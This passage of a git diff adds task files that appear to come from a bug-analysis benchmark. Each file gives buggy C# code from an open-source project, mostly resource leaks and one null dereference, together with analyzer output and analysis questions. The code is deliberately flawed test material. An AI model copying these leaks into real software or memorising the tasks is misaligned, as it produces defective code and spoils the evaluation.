+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2205/instruction.md b/inferredbugs-2205/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fd875fd7eb2925ce7fd6f68b162a12489f8654c8
--- /dev/null
+++ b/inferredbugs-2205/instruction.md
@@ -0,0 +1,85 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** influxdb-client-csharp
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Net.Http;
+using InfluxData.Platform.Client.Domain;
+using Newtonsoft.Json;
+using Newtonsoft.Json.Linq;
+using Platform.Common;
+
+namespace InfluxData.Platform.Client.Client
+{
+    public class PlatformService
+    {
+        //
+        // Organizations
+        //        
+        public static HttpRequestMessage CreateOrganization(Organization organization)
+        {
+            return new HttpRequestMessage(new HttpMethod(HttpMethodKind.Post.Name()), "/api/v2/orgs")
+            {
+                Content = new StringContent(JsonConvert.SerializeObject(organization))
+            };
+        }
+        
+        public static HttpRequestMessage FindOrganizations()
+        {
+            return new HttpRequestMessage(new HttpMethod(HttpMethodKind.Get.Name()), "/api/v2/orgs");
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type System.Net.Http.HttpRequestMessage, Leaked resource (output of System.Net.Http.StringContent::.ctor() at Line 16) of type System.Net.Http.StringContent in method "HttpRequestMessage PlatformService.CreateOrganization(Organization)".
+
+### Severity:
+ERROR
+
+### Procedure:
+HttpRequestMessage PlatformService.CreateOrganization(Organization)
+
+### File:
+InfluxData.Platform.Client/Client/PlatformService.cs
+
+### Key:
+PlatformService.cs|CreateOrganization|DOTNET_RESOURCE_LEAK
+
+### Hash:
+64d562b694283688f41c623f1cc66b26
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2232/instruction.md b/inferredbugs-2232/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..792cf803d0cdbf383030d02e9b4da8b1b4931843
--- /dev/null
+++ b/inferredbugs-2232/instruction.md
@@ -0,0 +1,127 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** k4a.net
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+
+namespace K4AdotNet.Sensor
+{
+    // Inspired by <c>image</c> class from <c>k4a.hpp</c>
+    public sealed class Image : IDisposable, IReferenceDuplicatable<Image>
+    {
+        private readonly NativeHandles.ImageHandle handle;
+
+        private Image(NativeHandles.ImageHandle handle)
+            => this.handle = handle;
+
+        internal static Image Create(NativeHandles.ImageHandle handle)
+            => handle != null && !handle.IsInvalid ? new Image(handle) : null;
+
+        public Image(ImageFormat format, int widthPixels, int heightPixels, int strideBytes)
+        {
+            var res = NativeApi.ImageCreate(format, widthPixels, heightPixels, strideBytes, out handle);
+            if (res != NativeCallResults.Result.Succeeded)
+                throw new ArgumentException($"Cannot create image with format {format}, size {widthPixels}x{heightPixels} pixels and stride {strideBytes} bytes.");
+        }
+
+        public void Dispose()
+            => handle.Dispose();
+
+        public Image DuplicateReference()
+            => new Image(handle.DuplicateReference());
+
+        public IntPtr Buffer => NativeApi.ImageGetBuffer(handle);
+
+        public int Size => checked((int)NativeApi.ImageGetSize(handle).ToUInt32());
+
+        public ImageFormat Format => NativeApi.ImageGetFormat(handle);
+
+        public int WidthPixels => NativeApi.ImageGetWidthPixels(handle);
+
+        public int HeightPixels => NativeApi.ImageGetHeightPixels(handle);
+
+        public int StrideBytes => NativeApi.ImageGetStrideBytes(handle);
+
+        public Microseconds64 Timestamp
+        {
+            get => NativeApi.ImageGetTimestamp(handle);
+            set => NativeApi.ImageSetTimestamp(handle, value);
+        }
+
+        public Microseconds64 Exposure
+        {
+            get => NativeApi.ImageGetExposureUsec(handle);
+            set => NativeApi.ImageSetExposureTimeUsec(handle, value);
+        }
+
+        public int WhiteBalance
+        {
+            get => checked((int)NativeApi.ImageGetWhiteBalance(handle));
+            set => NativeApi.ImageSetWhiteBalance(handle, checked((uint)value));
+        }
+
+        public int IsoSpeed
+        {
+            get => checked((int)NativeApi.ImageGetIsoSpeed(handle));
+            set => NativeApi.ImageSetIsoSpeed(handle, checked((uint)value));
+        }
+
+        internal static NativeHandles.ImageHandle ToHandle(Image image)
+            => image?.handle ?? NativeHandles.ImageHandle.Zero;
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type K4AdotNet.Sensor.Image, Leaked resource (returned from K4AdotNet.NativeHandles.ImageHandle K4AdotNet.NativeHandles.ImageHandle::DuplicateReference() at Line 27) of type K4AdotNet.NativeHandles.ImageHandle in method "Image Image.DuplicateReference()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Image Image.DuplicateReference()
+
+### File:
+K4AdotNet/Sensor/Image.cs
+
+### Key:
+Image.cs|DuplicateReference|DOTNET_RESOURCE_LEAK
+
+### Hash:
+af9db7a7c947923cd9c6ba16b913ca97
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2233/instruction.md b/inferredbugs-2233/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..dcfe5b08b4f27a61111ece4234ae2822dc162856
--- /dev/null
+++ b/inferredbugs-2233/instruction.md
@@ -0,0 +1,104 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** k4a.net
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+
+namespace K4AdotNet.BodyTracking
+{
+    public sealed class BodyFrame : IDisposable, IReferenceDuplicatable<BodyFrame>
+    {
+        private readonly NativeHandles.BodyFrameHandle handle;
+
+        private BodyFrame(NativeHandles.BodyFrameHandle handle)
+            => this.handle = handle;
+
+        public void Dispose()
+            => handle.Dispose();
+
+        public BodyFrame DuplicateReference()
+            => new BodyFrame(handle.DuplicateReference());
+
+        public Microseconds64 Timestamp => NativeApi.FrameGetTimestamp(handle);
+
+        public int BodyCount => checked((int)NativeApi.FrameGetNumBodies(handle).ToUInt32());
+
+        public Sensor.Capture Capture
+            => Sensor.Capture.Create(NativeApi.FrameGetCapture(handle));
+
+        public Sensor.Image BodyIndexMap
+            => Sensor.Image.Create(NativeApi.FrameGetBodyIndexMap(handle));
+
+        public void GetBodySkeleton(int bodyIndex, out Skeleton skeleton)
+        {
+            if (bodyIndex < 0 || bodyIndex >= BodyCount)
+                throw new ArgumentOutOfRangeException(nameof(bodyIndex));
+            if (NativeApi.FrameGetBodySkeleton(handle, new UIntPtr(checked((uint)bodyIndex)), out skeleton) != NativeCallResults.Result.Succeeded)
+                throw new BodyTrackingException($"Cannot extract skeletal data for body with index {bodyIndex}");
+        }
+
+        public BodyId GetBodyId(int bodyIndex)
+        {
+            if (bodyIndex < 0 || bodyIndex >= BodyCount)
+                throw new ArgumentOutOfRangeException(nameof(bodyIndex));
+            return NativeApi.FrameGetBodyId(handle, new UIntPtr(checked((uint)bodyIndex)));
+        }
+
+        internal static BodyFrame Create(NativeHandles.BodyFrameHandle bodyFrameHandle)
+            => bodyFrameHandle != null && !bodyFrameHandle.IsInvalid ? new BodyFrame(bodyFrameHandle) : null;
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type K4AdotNet.BodyTracking.BodyFrame, Leaked resource (returned from K4AdotNet.NativeHandles.BodyFrameHandle K4AdotNet.NativeHandles.BodyFrameHandle::DuplicateReference() at Line 16) of type K4AdotNet.NativeHandles.BodyFrameHandle in method "BodyFrame BodyFrame.DuplicateReference()".
+
+### Severity:
+ERROR
+
+### Procedure:
+BodyFrame BodyFrame.DuplicateReference()
+
+### File:
+K4AdotNet/BodyTracking/BodyFrame.cs
+
+### Key:
+BodyFrame.cs|DuplicateReference|DOTNET_RESOURCE_LEAK
+
+### Hash:
+2f9a32146b3753c48a523f93e6f3ceca
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2234/instruction.md b/inferredbugs-2234/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b44f3598eb32150c9a26eec1c85aa38b808b3d8b
--- /dev/null
+++ b/inferredbugs-2234/instruction.md
@@ -0,0 +1,115 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** k4a.net
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+
+namespace K4AdotNet.Sensor
+{
+    // Inspired by <c>capture</c> class from <c>k4a.hpp</c>
+    public sealed class Capture : IDisposable, IReferenceDuplicatable<Capture>
+    {
+        private readonly NativeHandles.CaptureHandle handle;
+
+        public Capture()
+        {
+            var res = NativeApi.CaptureCreate(out handle);
+            if (res != NativeCallResults.Result.Failed)
+                throw new InvalidOperationException("Failed to create blank capture instance");
+        }
+
+        internal Capture(NativeHandles.CaptureHandle handle)
+            => this.handle = handle;
+
+        internal static Capture Create(NativeHandles.CaptureHandle handle)
+            => handle != null && !handle.IsInvalid ? new Capture(handle) : null;
+
+        public void Dispose()
+            => handle.Dispose();
+
+        public Capture DuplicateReference()
+            => new Capture(handle.DuplicateReference());
+
+        public Image ColorImage
+        {
+            get => Image.Create(NativeApi.CaptureGetColorImage(handle));
+            set => NativeApi.CaptureSetColorImage(handle, Image.ToHandle(value));
+        }
+
+        public Image DepthImage
+        {
+            get => Image.Create(NativeApi.CaptureGetDepthImage(handle));
+            set => NativeApi.CaptureSetDepthImage(handle, Image.ToHandle(value));
+        }
+
+        public Image IRImage
+        {
+            get => Image.Create(NativeApi.CaptureGetIRImage(handle));
+            set => NativeApi.CaptureSetIRImage(handle, Image.ToHandle(value));
+        }
+
+        public float TemperatureC
+        {
+            get => NativeApi.CaptureGetTemperatureC(handle);
+            set => NativeApi.CaptureSetTemperatureC(handle, value);
+        }
+
+        internal static NativeHandles.CaptureHandle ToHandle(Capture capture)
+            => capture?.handle ?? NativeHandles.CaptureHandle.Zero;
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type K4AdotNet.Sensor.Capture, Leaked resource (returned from K4AdotNet.NativeHandles.CaptureHandle K4AdotNet.NativeHandles.CaptureHandle::DuplicateReference() at Line 27) of type K4AdotNet.NativeHandles.CaptureHandle in method "Capture Capture.DuplicateReference()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Capture Capture.DuplicateReference()
+
+### File:
+K4AdotNet/Sensor/Capture.cs
+
+### Key:
+Capture.cs|DuplicateReference|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f3843483c2e7f0647b7cd8ff46dbb05e
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2235/instruction.md b/inferredbugs-2235/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..54f964040cac1e3a9558d7ff054e63946e15f35d
--- /dev/null
+++ b/inferredbugs-2235/instruction.md
@@ -0,0 +1,95 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** atata
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Humanizer;
+using System;
+using System.Linq;
+using System.Reflection;
+
+namespace Atata
+{
+    public static class EnumExtensions
+    {
+        public static string ToTitleString(this Enum value)
+        {
+            return value.ToString(LetterCasing.Title);
+        }
+
+        public static string ToSentenceString(this Enum value)
+        {
+            return value.ToString(LetterCasing.Sentence);
+        }
+
+        public static string ToString(this Enum value, LetterCasing casing)
+        {
+            Type type = value.GetType();
+            MemberInfo memberInfo = type.GetMember(value.ToString())[0];
+
+            TermAttribute termAttribute = memberInfo.GetCustomAttribute<TermAttribute>(false);
+            string term = (termAttribute != null && termAttribute.Values != null && termAttribute.Values.Any())
+                ? termAttribute.Values.First()
+                : value.ToString();
+
+            return (termAttribute.Format != TermFormat.Inherit) ? termAttribute.Format.ApplyTo(term) : term.Humanize(casing);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `termAttribute` last assigned on line 25 could be null and is dereferenced at line 30, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+String EnumExtensions.ToString(Enum,LetterCasing)
+
+### File:
+src/Atata/Extensions/EnumExtensions.cs
+
+### Key:
+EnumExtensions.cs|ToString|NULL_DEREFERENCE
+
+### Node Key:
+56203f4e21ecf9e860f6a12dc3683775
+
+### Hash:
+ad5a28c4d77fe49f960c20159a6e24f5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2250/instruction.md b/inferredbugs-2250/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1959fc30d489375822445b7bc014344536e73c74
--- /dev/null
+++ b/inferredbugs-2250/instruction.md
@@ -0,0 +1,276 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** resin
+**Bug ID:** 32
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Sir.Core;
+using System;
+using System.Collections;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading.Tasks;
+
+namespace Sir.Store
+{
+    /// <summary>
+    /// Indexing session targeting a single collection.
+    /// </summary>
+    public class TermIndexSession : CollectionSession, IDisposable, ILogger
+    {
+        private readonly IConfigurationProvider _config;
+        private readonly ITokenizer _tokenizer;
+        private readonly IDictionary<long, VectorNode> _dirty;
+        private readonly Stream _vectorStream;
+        private bool _flushed;
+        private bool _flushing;
+        private readonly ProducerConsumerQueue<(long docId, long keyId, AnalyzedString tokens)> _modelBuilder;
+        private readonly ConcurrentDictionary<long, NodeReader> _indexReaders;
+        private readonly long[] _excludeKeyIds;
+
+        public TermIndexSession(
+            string collectionName,
+            ulong collectionId,
+            SessionFactory sessionFactory, 
+            ITokenizer tokenizer,
+            IConfigurationProvider config,
+            ConcurrentDictionary<long, NodeReader> indexReaders,
+            params long[] excludeKeyIds) : base(collectionName, collectionId, sessionFactory)
+        {
+            _config = config;
+            _tokenizer = tokenizer;
+            _dirty = new ConcurrentDictionary<long, VectorNode>();
+            _vectorStream = SessionFactory.CreateAppendStream(Path.Combine(SessionFactory.Dir, string.Format("{0}.vec", CollectionId)));
+
+            var numThreads = int.Parse(_config.Get("write_thread_count"));
+
+            _modelBuilder = new ProducerConsumerQueue<(long docId, long keyId, AnalyzedString tokens)>(
+                numThreads, BuildModel);
+
+            _indexReaders = indexReaders;
+
+            _excludeKeyIds = excludeKeyIds;
+        }
+
+        /// <summary>
+        /// Fields prefixed with "___" or "__" will not be indexed.
+        /// Fields prefixed with "_" will not be tokenized.
+        /// </summary>
+        public void Index(IDictionary document)
+        {
+            var docId = (long)document["___docid"];
+
+            foreach (var obj in document.Keys)
+            {
+                var key = (string)obj;
+                AnalyzedString tokens = null;
+
+                if (!key.StartsWith("__"))
+                {
+                    var keyHash = key.ToHash();
+                    var keyId = SessionFactory.GetKeyId(CollectionId, keyHash);
+
+                    if (_excludeKeyIds.Contains(keyId))
+                    {
+                        continue;
+                    }
+
+                    var val = document[key];
+                    var str = val as string;
+
+                    if (str == null || key[0] == '_')
+                    {
+                        var v = val.ToString();
+
+                        if (!string.IsNullOrWhiteSpace(v))
+                        {
+                            tokens = new AnalyzedString
+                            {
+                                Original = v,
+                                Source = v.ToCharArray(),
+                                Tokens = new List<(int, int)> { (0, v.Length) }
+                            };
+                        }
+                    }
+                    else
+                    {
+                        tokens = _tokenizer.Tokenize(str);
+                    }
+
+                    if (tokens != null)
+                    {
+                        _modelBuilder.Enqueue((docId, keyId, tokens));
+                    }
+                }
+            }
+
+            this.Log("analyzed document {0} ", docId);
+        }
+
+        private void BuildModel((long docId, long keyId, AnalyzedString tokens) item)
+        {
+            var ix = GetOrCreateIndex(item.keyId);
+
+            foreach (var vector in item.tokens.Embeddings())
+            {
+                ix.Add(new VectorNode(vector, item.docId), CosineSimilarity.Term, _vectorStream);
+            }
+        }
+
+        public void Flush()
+        {
+            if (_flushing || _flushed)
+                return;
+
+            _flushing = true;
+
+            this.Log("waiting for model builder");
+
+            using (_modelBuilder)
+            {
+                _modelBuilder.Join();
+            }
+
+            using (_vectorStream)
+            {
+                _vectorStream.Flush();
+                _vectorStream.Close();
+            }
+
+            var tasks = new Task[_dirty.Count];
+            var taskId = 0;
+            var columnWriters = new List<ColumnSerializer>();
+
+            foreach (var column in _dirty)
+            {
+                var columnWriter = new ColumnSerializer(
+                    CollectionId, column.Key, SessionFactory, new RemotePostingsWriter(_config, CollectionName));
+
+                columnWriters.Add(columnWriter);
+
+                tasks[taskId++] = columnWriter.SerializeColumnSegment(column.Value);
+            }
+
+            Task.WaitAll(tasks);
+
+            _flushed = true;
+            _flushing = false;
+
+            this.Log(string.Format("***FLUSHED***"));
+        }
+
+        private void Validate((long keyId, long docId, AnalyzedString tokens) item)
+        {
+            if (item.keyId == 4 || item.keyId == 5)
+            {
+                var tree = GetOrCreateIndex(item.keyId);
+
+                foreach (var vector in item.tokens.Embeddings())
+                {
+                    var hit = tree.ClosestMatch(vector, CosineSimilarity.Term.foldAngle);
+
+                    if (hit.Score < CosineSimilarity.Term.identicalAngle)
+                    {
+                        throw new DataMisalignedException();
+                    }
+
+                    var valid = false;
+
+                    foreach (var id in hit.Node.DocIds)
+                    {
+                        if (id == item.docId)
+                        {
+                            valid = true;
+                            break;
+                        }
+                    }
+
+                    if (!valid)
+                    {
+                        throw new DataMisalignedException();
+                    }
+                }
+            }
+        }
+
+        private static readonly object _syncIndexAccess = new object();
+
+        private VectorNode GetOrCreateIndex(long keyId)
+        {
+            VectorNode root;
+
+            if (!_dirty.TryGetValue(keyId, out root))
+            {
+                lock (_syncIndexAccess)
+                {
+                    if (!_dirty.TryGetValue(keyId, out root))
+                    {
+                        root = new VectorNode();
+                        _dirty.Add(keyId, root);
+                    }
+                }
+            }
+
+            return root;
+        }
+
+        public void Dispose()
+        {
+            Flush();
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource columnWriter.Sir.Store.ColumnSerializer._pageIndexWriter of type Sir.Store.PageIndexWriter, Leaked resource columnWriter.Sir.Store.ColumnSerializer._ixStream of type System.IO.FileStream in method "Void TermIndexSession.Flush()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void TermIndexSession.Flush()
+
+### File:
+src/Sir.Store/Session/TermIndexSession.cs
+
+### Key:
+TermIndexSession.cs|Flush|DOTNET_RESOURCE_LEAK
+
+### Hash:
+327b82586ad21c5c7a22b1a3141c597b
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2257/instruction.md b/inferredbugs-2257/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d61073b964b8e775ec03058784a13e08c1f3c3fb
--- /dev/null
+++ b/inferredbugs-2257/instruction.md
@@ -0,0 +1,325 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** resin
+**Bug ID:** 27
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Net;
+
+namespace Sir.Store
+{
+    public class PagedPostingsWriter
+    {
+        public static int PAGE_SIZE = 4096;
+        public static int BLOCK_SIZE = sizeof(ulong) + sizeof(byte);
+        public static int SLOTS_PER_PAGE = (PAGE_SIZE / BLOCK_SIZE);
+
+        private readonly Stream _stream;
+        private readonly byte[] _pageBuf;
+        private readonly byte[] _aliveStatus;
+        private readonly byte[] _deadStatus;
+
+        public PagedPostingsWriter(Stream stream)
+        {
+            _stream = stream;
+            _pageBuf = new byte[PAGE_SIZE];
+            _aliveStatus = new byte[1];
+            _deadStatus = new byte[1];
+
+            _aliveStatus[0] = 1;
+            _deadStatus[0] = 0;
+        }
+
+        public long AllocatePage()
+        {
+            return Allocate(PAGE_SIZE);
+        }
+
+        public long Allocate(int amount)
+        {
+            _stream.Seek(0, SeekOrigin.End);
+
+            var pos = _stream.Position;
+
+            _stream.SetLength(_stream.Position + amount);
+
+            return pos;
+        }
+
+        public void FlagAsDeleted(long pageOffset, ulong docId)
+        {
+            if (_stream.Position != pageOffset)
+            {
+                _stream.Seek(pageOffset, SeekOrigin.Begin);
+            }
+
+            _stream.Read(_pageBuf, 0, PAGE_SIZE);
+
+            var blockBuf = new byte[BLOCK_SIZE];
+            int pos = 0;
+            ulong id = 0;
+            bool notFound = false;
+
+            while (pos < SLOTS_PER_PAGE)
+            {
+                id = BitConverter.ToUInt64(_pageBuf, pos * (BLOCK_SIZE));
+
+                if (id == 0)
+                {
+                    notFound = true;
+                    break;
+                }
+                else if (id == docId)
+                {
+                    break;
+                }
+                else
+                {
+                    pos++;
+                }
+            }
+
+            if (notFound)
+            {
+                if (pos == SLOTS_PER_PAGE)
+                {
+                    // Page is full but luckily the last word 
+                    // is the offset for the next page.
+                    // Jump to that location and continue reading there.
+
+                    long nextOffset = Convert.ToInt64(id);
+                    FlagAsDeleted(nextOffset, docId);
+                }
+            }
+            else
+            {
+                var offsetToFlag = pageOffset + (pos * (BLOCK_SIZE)) + sizeof(ulong);
+
+                _stream.Seek(offsetToFlag, SeekOrigin.Begin);
+                _stream.Write(_deadStatus, 0, sizeof(byte));
+
+                _stream.Seek(pageOffset, SeekOrigin.Begin);
+                _stream.Read(_pageBuf, 0, PAGE_SIZE);
+            }
+        }
+
+        public void Write(long offset, IList<ulong> docIds, int docIndex = 0)
+        {
+            if (_stream.Position != offset)
+            {
+                _stream.Seek(offset, SeekOrigin.Begin);
+            }
+
+            _stream.Read(_pageBuf, 0, PAGE_SIZE);
+
+            int pos = 0;
+            ulong id = 0;
+
+            while (pos < SLOTS_PER_PAGE)
+            {
+                id = BitConverter.ToUInt64(_pageBuf, pos * (BLOCK_SIZE));
+
+                if (id == 0)
+                {
+                    // Zero means "no data". We can start writing into the page at the current position.
+                    break;
+                }
+
+                pos++;
+            }
+
+            if (pos == SLOTS_PER_PAGE)
+            {
+                // Page is full but luckily the last word 
+                // is the offset for the next page.
+                // Jump to that location and continue writing there.
+
+                long nextOffset = Convert.ToInt64(id);
+
+                Write(nextOffset, docIds, docIndex);
+            }
+            else if (pos == SLOTS_PER_PAGE - 2)
+            {
+                // Only two slots left in the page.
+                // Fill the penultimate with a docId, 
+                // allocate a new page and
+                // store the offset of the new page
+                // in the last slot.
+
+                var posOfPenultimate = offset + (pos * BLOCK_SIZE);
+
+                if (_stream.Position != posOfPenultimate)
+                {
+                    _stream.Seek(posOfPenultimate, SeekOrigin.Begin);
+                }
+
+                _stream.Write(BitConverter.GetBytes(docIds[docIndex++]), 0, sizeof(ulong));
+                _stream.Write(_aliveStatus, 0, sizeof(byte));
+
+                var nextOffset = AllocatePage();
+                var posOfUltimate = posOfPenultimate + BLOCK_SIZE;
+
+                _stream.Seek(posOfUltimate, SeekOrigin.Begin);
+                _stream.Write(BitConverter.GetBytes(nextOffset), 0, sizeof(long));
+
+                if (docIds.Count > docIndex)
+                {
+                    Write(offset, docIds, docIndex);
+                }
+            }
+            else
+            {
+                // There were vacant slots in the page.
+
+                var offs = offset + (pos * BLOCK_SIZE);
+
+                while (pos++ < SLOTS_PER_PAGE - 2)
+                {
+                    if (docIndex == docIds.Count) break;
+
+                    if (_stream.Position != offs)
+                    {
+                        _stream.Seek(offs, SeekOrigin.Begin);
+                    }
+
+                    _stream.Write(BitConverter.GetBytes(docIds[docIndex++]), 0, sizeof(ulong));
+                    _stream.Write(_aliveStatus, 0, sizeof(byte));
+
+                    offs += BLOCK_SIZE;
+                }
+
+                if (docIds.Count > docIndex)
+                {
+                    Write(offset, docIds, docIndex);
+                }    
+            }
+        }
+
+        public long Write(IList<ulong> docIds)
+        {
+            var offset = AllocatePage();
+
+            Write(offset, docIds, 0);
+
+            return offset;
+
+        }
+    }
+
+    public class RemotePostingsWriter
+    {
+        public long Write(IList<ulong> docIds)
+        {
+            var payload = ToStream(docIds);
+            var id = WriteRemote(payload);
+
+            return id;
+        }
+
+        public void Write(long offset, IList<ulong> docIds, int docIndex = 0)
+        {
+            var payload = ToStream(docIds);
+
+            AppendRemote(payload, offset);
+        }
+
+        private void AppendRemote(byte[] payload, long offset)
+        {
+            var request = (HttpWebRequest)WebRequest.Create("https://...");
+            request.ContentType = "application/postings";
+            request.Method = "POST";
+
+            var requestBody = request.GetRequestStream();
+            requestBody.Write(payload, 0, payload.Length);
+
+            request.GetResponse();
+        }
+
+        private long WriteRemote(byte[] payload)
+        {
+            var request = (HttpWebRequest)WebRequest.Create("https://...");
+            request.ContentType = "application/postings";
+            request.Method = "POST";
+
+            var requestBody = request.GetRequestStream();
+            requestBody.Write(payload, 0, payload.Length);
+
+            var response = (HttpWebResponse)request.GetResponse();
+            var locationUri = new Uri(response.Headers["Location"]);
+            var query = Microsoft.AspNetCore.WebUtilities.QueryHelpers.ParseQuery(locationUri.Query);
+            var id = long.Parse(query["id"].ToArray()[0]);
+
+            return id;
+        }
+
+        private byte[] ToStream(IList<ulong> docIds)
+        {
+            var payload = new MemoryStream();
+
+            foreach (var id in docIds)
+            {
+                var buf = BitConverter.GetBytes(id);
+
+                payload.Write(buf, 0, sizeof(ulong));
+            }
+
+            return payload.ToArray();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource payload of type System.IO.MemoryStream in method "Byte[] RemotePostingsWriter.ToStream(IList`1<!0>)".
+
+### Severity:
+ERROR
+
+### Procedure:
